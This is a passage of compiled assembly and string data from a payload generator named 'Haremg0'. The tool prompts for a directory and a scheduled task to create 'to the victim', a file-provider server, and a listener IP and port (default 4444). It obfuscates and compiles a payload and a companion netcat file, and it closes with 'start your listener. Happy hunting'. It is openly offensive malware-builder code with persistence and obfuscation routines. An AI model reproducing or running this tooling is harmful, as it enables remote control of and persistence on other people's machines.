Listener IP address (ex : 10.0.0.1)\n -p (port) : Define your Listener port (ex : 445)\nExample :\n Haremg0.exe -s 10.0.0.1 -h 10.0.0.1 -p 5000\n\nBy default without options, it will launch the GUI.\n\n\nNow, you can edit the icons of the two files who will be created, juste paste your desired ico here : \"RES/SRC\"\nJust please be sure to respect the name of the ICO files \"FILE_A.ico\" and \"PAYLOAD.ico\".\n\nFor source code version only :\nYou can compile the generator using gcc, i have made a little bat file here \"RES/SRC\\\"\n\n"
l_.str.54: ; @.str.54
.asciz "Please enter the dir you want to create to the victim [default : 'C:\\System']: "
l_.str.55: ; @.str.55
.asciz "C:\\System"
l_.str.56: ; @.str.56
.asciz "Do you want to create a tasksystem ? [y/n]"
l_.str.57: ; @.str.57
.asciz "Please enter the name for the system task you want to create to the victim [default : 'TaskSystem']: "
l_.str.58: ; @.str.58
.asciz "TaskSystem"
l_.str.59: ; @.str.59
.asciz "1"
l_.str.60: ; @.str.60
.asciz "2"
l_.str.61: ; @.str.61
.asciz "3"
l_.str.62: ; @.str.62
.asciz "4"
l_.str.63: ; @.str.63
.asciz "5"
l_.str.64: ; @.str.64
.asciz "6"
l_.str.65: ; @.str.65
.asciz "1 - MINUTE - Run the task on specified minutes.\n"
l_.str.66: ; @.str.66
.asciz "2 - HOURLY - Run the task on specified hours.\n"
l_.str.67: ; @.str.67
.asciz "3 - DAILY - Run the task on specified day.\n"
l_.str.68: ; @.str.68
.asciz "4 - ONSTART - Run the task on startup.\n"
l_.str.69: ; @.str.69
.asciz "5 - ONLOGON - Run the task on longon.\n"
l_.str.70: ; @.str.70
.asciz "6 - ONIDLE - Run the task on idle.\n"
l_.str.71: ; @.str.71
.asciz "Please enter the time of recursive call for the system task you want to create to the victim [default : 'minutes']: "
l_.str.72: ; @.str.72
.asciz "/sc minute /MO 1"
l_.str.73: ; @.str.73
.asciz "/sc minute /MO "
l_.str.74: ; @.str.74
.asciz "How many minutes ? : "
l_.str.75: ; @.str.75
.asciz "/sc hour /MO "
l_.str.76: ; @.str.76
.asciz "How many hours ? : "
l_.str.77: ; @.str.77
.asciz "/sc daily /MO "
l_.str.78: ; @.str.78
.asciz "How many days ? : "
l_.str.79: ; @.str.79
.asciz "/SC ONSTART"
l_.str.80: ; @.str.80
.asciz "/SC ONLOGON"
l_.str.81: ; @.str.81
.asciz "/sc onidle /I "
l_.str.82: ; @.str.82
.asciz "How many idle time ? : "
l_.str.83: ; @.str.83
.asciz "Please enter your server (who provide the files) adress [example : 10.0.0.1/RES or provider.com]: "
l_.str.84: ; @.str.84
.asciz "Please enter your file provider adress [example : 10.0.0.1/RES or provider.com]: "
l_.str.85: ; @.str.85
.asciz "Please enter the first file your file provider will serve [example : FileA]: "
l_.str.86: ; @.str.86
.asciz "Please enter the second file your file provider will serve [example : FileB]: "
l_.str.87: ; @.str.87
.asciz "Please enter your listener IP [example : 10.0.0.1]: "
l_.str.88: ; @.str.88
.asciz "Please enter your listener PORT [default : 4444]: "
l_.str.89: ; @.str.89
.asciz "4444"
l_.str.90: ; @.str.90
.asciz "FILE_B"
l_.str.91: ; @.str.91
.asciz "/sc minute /mo 5"
l_.str.92: ; @.str.92
.asciz "CREATED DIR : %s\n"
l_.str.93: ; @.str.93
.asciz "FILE PROVIDER IP : %s\n"
l_.str.94: ; @.str.94
.asciz "FILES PROVIDED : %s and %s\n"
l_.str.95: ; @.str.95
.asciz "HOST PROVIDED : %s\n"
l_.str.96: ; @.str.96
.asciz "PORT PROVIDED : %s\n"
l_.str.97: ; @.str.97
.asciz "CREATING TASK : %s\n"
l_.str.98: ; @.str.98
.asciz "Now you just have to place %s.exe and %s.exe here %s, share %s.exe and start your listener.\nHappy hunting !!"
l_.str.99: ; @.str.99
.asciz "%d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _get ## -- Begin function get
.p2align 4, 0x90
_get: ## @get
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movl %edx, -20(%rbp)
movq -8(%rbp), %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq -16(%rbp), %rdi
movl -20(%rbp), %esi
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rdx
callq _fgets
movq -16(%rbp), %rax
movq %rax, -32(%rbp) ## 8-byte Spill
movq -16(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -32(%rbp), %rax ## 8-byte Reload
subq $1, %rcx
movsbl (%rax,%rcx), %eax
cmpl $10, %eax
jne LBB0_2
## %bb.1:
movq -16(%rbp), %rax
movq %rax, -40(%rbp) ## 8-byte Spill
movq -16(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -40(%rbp), %rax ## 8-byte Reload
subq $1, %rcx
movb $0, (%rax,%rcx)
LBB0_2:
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fflush
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _compile ## -- Begin function compile
.p2align 4, 0x90
_compile: ## @compile
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $2048, %rsp ## imm = 0x800
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -2024(%rbp)
movq %rsi, -2032(%rbp)
movq %rdx, -2040(%rbp)
movq -2032(%rbp), %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq -2016(%rbp), %rdi
leaq L_.str.2(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcpy_chk
leaq -2016(%rbp), %rdi
movq -2040(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.3(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
callq _system
movl $3, %edi
callq _sleep
movb $0, -2016(%rbp)
leaq -2016(%rbp), %rdi
leaq L_.str.4(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2024(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.5(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2032(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.6(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
callq _system
movl $3, %edi
callq _sleep
movq -2024(%rbp), %rdi
callq _remove
leaq L_.str.7(%rip), %rdi
callq _remove
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_2
## %bb.1:
addq $2048, %rsp ## imm = 0x800
popq %rbp
retq
LBB1_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _generateRandomString ## -- Begin function generateRandomString
.p2align 4, 0x90
_generateRandomString: ## @generateRandomString
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $0, -16(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -16(%rbp), %eax
cmpl -12(%rbp), %eax
jge LBB2_4
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
callq _rand
cltq
movl $52, %ecx
xorl %edx, %edx
## kill: def $rdx killed $edx
divq %rcx
leaq _generateRandomString.alphanum(%rip), %rax
movb (%rax,%rdx), %dl
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
movb %dl, (%rax,%rcx)
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB2_1
LBB2_4:
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
movb $0, (%rax,%rcx)
movq -8(%rbp), %rax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _obfuscate ## -- Begin function obfuscate
.p2align 4, 0x90
_obfuscate: ## @obfuscate
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $1012224, %eax ## imm = 0xF7200
callq ____chkstk_darwin
subq %rax, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -1012136(%rbp)
movq %rsi, -1012144(%rbp)
movl $0, -1012156(%rbp)
movl $0, -1012160(%rbp)
movl $0, -1012164(%rbp)
leaq -1012128(%rbp), %rdi
leaq l___const.obfuscate.alphabet(%rip), %rsi
movl $100, %edx
callq _memcpy
movb $0, -1010016(%rbp)
leaq -1010016(%rbp), %rdi
leaq L_.str.8(%rip), %rsi
movl $10000, %edx ## imm = 0x2710
callq ___strcat_chk
movq -1012136(%rbp), %rdi
leaq L_.str.9(%rip), %rsi
callq _fopen
movq %rax, -1012152(%rbp)
leaq -1010016(%rbp), %rdi
movq -1012152(%rbp), %rsi
callq _fputs
movb $0, -1010016(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
movslq -1012156(%rbp), %rax
movq %rax, -1012184(%rbp) ## 8-byte Spill
leaq -1012128(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -1012184(%rbp), %rax ## 8-byte Reload
cmpq %rcx, %rax
je LBB3_3
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movslq -1012156(%rbp), %rax
movb -1012128(%rbp,%rax), %al
movb %al, -1012166(%rbp)
movb $0, -1012165(%rbp)
leaq -1010016(%rbp), %rdi
leaq L_.str.10(%rip), %rsi
movl $10000, %edx ## imm = 0x2710
callq ___strcat_chk
leaq -1010016(%rbp), %rax
movq %rax, -1012192(%rbp) ## 8-byte Spill
leaq -1012016(%rbp), %rax
movq %rax, -1012200(%rbp) ## 8-byte Spill
callq _rand
movq -1012200(%rbp), %rdi ## 8-byte Reload
movl $50, %ecx
cltd
idivl %ecx
movl %edx, %esi
addl $1, %esi
callq _generateRandomString
movq -1012192(%rbp), %rdi ## 8-byte Reload
movq %rax, %rsi
movl $10000, %edx ## imm = 0x2710
callq ___strcat_chk
leaq -1010016(%rbp), %rdi
leaq L_.str.11(%rip), %rsi
movl $10000, %edx ## imm = 0x2710
callq ___strcat_chk
leaq -1010016(%rbp), %rdi
leaq -1012166(%rbp), %rsi
movl $10000, %edx ## imm = 0x2710
callq ___strcat_chk
leaq -1010016(%rbp), %rdi
leaq L_.str.12(%rip), %rsi
movl $10000, %edx ## imm = 0x2710
callq ___strcat_chk
leaq -1010016(%rbp), %rdi
leaq L_.str.13(%rip), %rsi
movl $10000, %edx ## imm = 0x2710
callq ___strcat_chk
movslq -1012156(%rbp), %rax
leaq -1000016(%rbp), %rdi
imulq $10000, %rax, %rax ## imm = 0x2710
addq %rax, %rdi
leaq -1012016(%rbp), %rsi
movq $-1, %rdx
callq ___strcpy_chk
movl -1012156(%rbp), %eax
addl $1, %eax
movl %eax, -1012156(%rbp)
jmp LBB3_1
LBB3_3:
leaq -1010016(%rbp), %rdi
movq -1012152(%rbp), %rsi
callq _fputs
movb $0, -1010016(%rbp)
leaq -1010016(%rbp), %rdi
leaq L_.str.14(%rip), %rsi
movl $10000, %edx ## imm = 0x2710
callq ___strcat_chk
LBB3_4: ## =>This Loop Header: Depth=1
## Child Loop BB3_6 Depth 2
movslq -1012164(%rbp), %rax
movq %rax, -1012208(%rbp) ## 8-byte Spill
movq -1012144(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -1012208(%rbp), %rax ## 8-byte Reload
cmpq %rcx, %rax
je LBB3_12
## %bb.5: ## in Loop: Header=BB3_4 Depth=1
movq -1012144(%rbp), %rax
movslq -1012164(%rbp), %rcx
movb (%rax,%rcx), %al
movb %al, -1012168(%rbp)
movb $0, -1012167(%rbp)
movl $0, -1012160(%rbp)
LBB3_6: ## Parent Loop BB3_4 Depth=1
## => This Inner Loop Header: Depth=2
movslq -1012160(%rbp), %rax
movq %rax, -1012216(%rbp) ## 8-byte Spill
leaq -1012128(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -1012216(%rbp), %rax ## 8-byte Reload
cmpq %rcx, %rax
jae LBB3_11
## %bb.7: ## in Loop: Header=BB3_6 Depth=2
movslq -1012160(%rbp), %rax
movb -1012128(%rbp,%rax), %al
movb %al, -1012170(%rbp)
movb $0, -1012169(%rbp)
movsbl -1012168(%rbp), %eax
movsbl -1012170(%rbp), %ecx
cmpl %ecx, %eax
jne LBB3_9
## %bb.8: ## in Loop: Header=BB3_6 Depth=2
leaq -1010016(%rbp), %rdi
movslq -1012160(%rbp), %rax
leaq -1000016(%rbp), %rsi
imulq $10000, %rax, %rax ## imm = 0x2710
addq %rax, %rsi
movl $10000, %edx ## imm = 0x2710
callq ___strcat_chk
leaq -1010016(%rbp), %rdi
leaq L_.str.15(%rip), %rsi
movl $10000, %edx ## imm = 0x2710
callq ___strcat_chk
LBB3_9: ## in Loop: Header=BB3_6 Depth=2
jmp LBB3_10
LBB3_10: ## in Loop: Header=BB3_6 Depth=2
movl -1012160(%rbp), %eax
addl $1, %eax
movl %eax, -1012160(%rbp)
jmp LBB3_6
LBB3_11: ## in Loop: Header=BB3_4 Depth=1
movl -1012164(%rbp), %eax
addl $1, %eax
movl %eax, -1012164(%rbp)
jmp LBB3_4
LBB3_12:
leaq -1010016(%rbp), %rdi
callq _strlen
subq $1, %rax
movb $0, -1010016(%rbp,%rax)
leaq -1010016(%rbp), %rdi
leaq L_.str.16(%rip), %rsi
movl $10000, %edx ## imm = 0x2710
callq ___strcat_chk
leaq -1010016(%rbp), %rdi
movq -1012152(%rbp), %rsi
callq _fputs
movq -1012152(%rbp), %rdi
callq _fclose
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB3_14
## %bb.13:
addq $1012224, %rsp ## imm = 0xF7200
popq %rbp
retq
LBB3_14:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _generatePayload ## -- Begin function generatePayload
.p2align 4, 0x90
_generatePayload: ## @generatePayload
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $2064, %rsp ## imm = 0x810
movq 24(%rbp), %rax
movq 16(%rbp), %rax
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -2024(%rbp)
movq %rsi, -2032(%rbp)
movq %rdx, -2040(%rbp)
movq %rcx, -2048(%rbp)
movq %r8, -2056(%rbp)
movq %r9, -2064(%rbp)
movb $0, -2016(%rbp)
leaq -2016(%rbp), %rdi
leaq L_.str.17(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2024(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.18(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2024(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
movq -2056(%rbp), %rdi
leaq L_.str.19(%rip), %rsi
callq _strcmp
cmpl $0, %eax
je LBB4_2
## %bb.1:
movq -2056(%rbp), %rdi
leaq L_.str.20(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB4_3
LBB4_2:
leaq -2016(%rbp), %rdi
leaq L_.str.21(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2064(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.22(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2024(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.23(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2040(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.24(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq 16(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.25(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
LBB4_3:
leaq -2016(%rbp), %rdi
leaq L_.str.26(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2032(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.23(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2040(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.27(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2040(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.28(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2032(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.23(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2048(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.27(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2048(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.29(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2040(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.30(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rsi
leaq L_.str.31(%rip), %rdi
callq _obfuscate
movq 24(%rbp), %rsi
leaq L_.str.31(%rip), %rdi
leaq L_.str.32(%rip), %rdx
callq _compile
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB4_5
## %bb.4:
addq $2064, %rsp ## imm = 0x810
popq %rbp
retq
LBB4_5:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _generateExtension ## -- Begin function generateExtension
.p2align 4, 0x90
_generateExtension: ## @generateExtension
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $2064, %rsp ## imm = 0x810
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -2024(%rbp)
movq %rsi, -2032(%rbp)
movq %rdx, -2040(%rbp)
movq %rcx, -2048(%rbp)
movq %r8, -2056(%rbp)
movb $0, -2016(%rbp)
leaq -2016(%rbp), %rdi
leaq L_.str.33(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2024(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.23(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2048(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.24(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2032(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.34(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2040(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.35(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rsi
leaq L_.str.36(%rip), %rdi
callq _obfuscate
movq -2056(%rbp), %rsi
leaq L_.str.36(%rip), %rdi
leaq L_.str.37(%rip), %rdx
callq _compile
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB5_2
## %bb.1:
addq $2064, %rsp ## imm = 0x810
popq %rbp
retq
LBB5_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _generateNc ## -- Begin function generateNc
.p2align 4, 0x90
_generateNc: ## @generateNc
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $2032, %rsp ## imm = 0x7F0
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -2024(%rbp)
movb $0, -2016(%rbp)
movq -2024(%rbp), %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq -2016(%rbp), %rdi
leaq L_.str.38(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
movq -2024(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
leaq L_.str.6(%rip), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -2016(%rbp), %rdi
callq _system
movl $1, %edi
callq _sleep
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB6_2
## %bb.1:
addq $2032, %rsp ## imm = 0x7F0
popq %rbp
retq
LBB6_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $2848, %rsp ## imm = 0xB20
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -2788(%rbp)
movl %edi, -2792(%rbp)
movq %rsi, -2800(%rbp)
xorl %eax, %eax
movl %eax, %edi
callq _time
movl %eax, %edi
callq _srand
leaq L_.str.39(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.40(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.41(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.42(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.43(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.44(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.45(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.46(%rip), %rdi
movb $0, %al
callq _printf
leaq -208(%rbp), %rdi
leaq l___const.main.payload_name(%rip), %rsi
movl $200, %edx
callq _memcpy
movl $0, -2804(%rbp)
movl $0, -2808(%rbp)
movl $0, -2812(%rbp)
movl $0, -2816(%rbp)
cmpl $7, -2792(%rbp)
jne LBB7_46
## %bb.1:
movq -2800(%rbp), %rax
movq 8(%rax), %rax
movsbl (%rax), %eax
cmpl $45, %eax
jne LBB7_4
## %bb.2:
movq -2800(%rbp), %rax
movq 8(%rax), %rax
movsbl 1(%rax), %eax
cmpl $115, %eax
jne LBB7_4
## %bb.3:
leaq -736(%rbp), %rdi
movq -2800(%rbp), %rax
movq 16(%rax), %rsi
movl $255, %edx
callq ___strcpy_chk
movl $1, -2816(%rbp)
jmp LBB7_12
LBB7_4:
movq -2800(%rbp), %rax
movq 8(%rax), %rax
movsbl (%rax), %eax
cmpl $45, %eax
jne LBB7_7
## %bb.5:
movq -2800(%rbp), %rax
movq 8(%rax), %rax
movsbl 1(%rax), %eax
cmpl $104, %eax
jne LBB7_7
## %bb.6:
leaq -1504(%rbp), %rdi
movq -2800(%rbp), %rax
movq 16(%rax), %rsi
movl $255, %edx
callq ___strcpy_chk
movl $1, -2812(%rbp)
jmp LBB7_11
LBB7_7:
movq -2800(%rbp), %rax
movq 8(%rax), %rax
movsbl (%rax), %eax
cmpl $45, %eax
jne LBB7_10
## %bb.8:
movq -2800(%rbp), %rax
movq 8(%rax), %rax
movsbl 1(%rax), %eax
cmpl $112, %eax
jne LBB7_10
## %bb.9:
leaq -1760(%rbp), %rdi
movq -2800(%rbp), %rax
movq 16(%rax), %rsi
movl $255, %edx
callq ___strcpy_chk
movl $1, -2808(%rbp)
LBB7_10:
jmp LBB7_11
LBB7_11:
jmp LBB7_12
LBB7_12:
movq -2800(%rbp), %rax
movq 24(%rax), %rax
movsbl (%rax), %eax
cmpl $45, %eax
jne LBB7_16
## %bb.13:
movq -2800(%rbp), %rax
movq 24(%rax), %rax
movsbl 1(%rax), %eax
cmpl $115, %eax
jne LBB7_16
## %bb.14:
cmpl $0, -2816(%rbp)
jne LBB7_16
## %bb.15:
leaq -736(%rbp), %rdi
movq -2800(%rbp), %rax
movq 32(%rax), %rsi
movl $255, %edx
callq ___strcpy_chk
movl $1, -2816(%rbp)
jmp LBB7_26
LBB7_16:
movq -2800(%rbp), %rax
movq 24(%rax), %rax
movsbl (%rax), %eax
cmpl $45, %eax
jne LBB7_20
## %bb.17:
movq -2800(%rbp), %rax
movq 24(%rax), %rax
movsbl 1(%rax), %eax
cmpl $104, %eax
jne LBB7_20
## %bb.18:
cmpl $0, -2812(%rbp)
jne LBB7_20
## %bb.19:
leaq -1504(%rbp), %rdi
movq -2800(%rbp), %rax
movq 32(%rax), %rsi
movl $255, %edx
callq ___strcpy_chk
movl $1, -2812(%rbp)
jmp LBB7_25
LBB7_20:
movq -2800(%rbp), %rax
movq 24(%rax), %rax
movsbl (%rax), %eax
cmpl $45, %eax
jne LBB7_24
## %bb.21:
movq -2800(%rbp), %rax
movq 24(%rax), %rax
movsbl 1(%rax), %eax
cmpl $112, %eax
jne LBB7_24
## %bb.22:
cmpl $0, -2808(%rbp)
jne LBB7_24
## %bb.23:
leaq -1760(%rbp), %rdi
movq -2800(%rbp), %rax
movq 32(%rax), %rsi
movl $255, %edx
callq ___strcpy_chk
movl $1, -2808(%rbp)
LBB7_24:
jmp LBB7_25
LBB7_25:
jmp LBB7_26
LBB7_26:
movq -2800(%rbp), %rax
movq 40(%rax), %rax
movsbl (%rax), %eax
cmpl $45, %eax
jne LBB7_30
## %bb.27:
movq -2800(%rbp), %rax
movq 40(%rax), %rax
movsbl 1(%rax), %eax
cmpl $112, %eax
jne LBB7_30
## %bb.28:
cmpl $0, -2816(%rbp)
jne LBB7_30
## %bb.29:
leaq -736(%rbp), %rdi
movq -2800(%rbp), %rax
movq 48(%rax), %rsi
movl $255, %edx
callq ___strcpy_chk
jmp LBB7_40
LBB7_30:
movq -2800(%rbp), %rax
movq 40(%rax), %rax
movsbl (%rax), %eax
cmpl $45, %eax
jne LBB7_34
## %bb.31:
movq -2800(%rbp), %rax
movq 40(%rax), %rax
movsbl 1(%rax), %eax
cmpl $104, %eax
jne LBB7_34
## %bb.32:
cmpl $0, -2812(%rbp)
jne LBB7_34
## %bb.33:
leaq -1504(%rbp), %rdi
movq -2800(%rbp), %rax
movq 48(%rax), %rsi
movl $255, %edx
callq ___strcpy_chk
jmp LBB7_39
LBB7_34:
movq -2800(%rbp), %rax
movq 40(%rax), %rax
movsbl (%rax), %eax
cmpl $45, %eax
jne LBB7_38
## %bb.35:
movq -2800(%rbp), %rax
movq 40(%rax), %rax
movsbl 1(%rax), %eax
cmpl $112, %eax
jne LBB7_38
## %bb.36:
cmpl $0, -2808(%rbp)
jne LBB7_38
## %bb.37:
leaq -1760(%rbp), %rdi
movq -2800(%rbp), %rax
movq 48(%rax), %rsi
movl $255, %edx
callq ___strcpy_chk
LBB7_38:
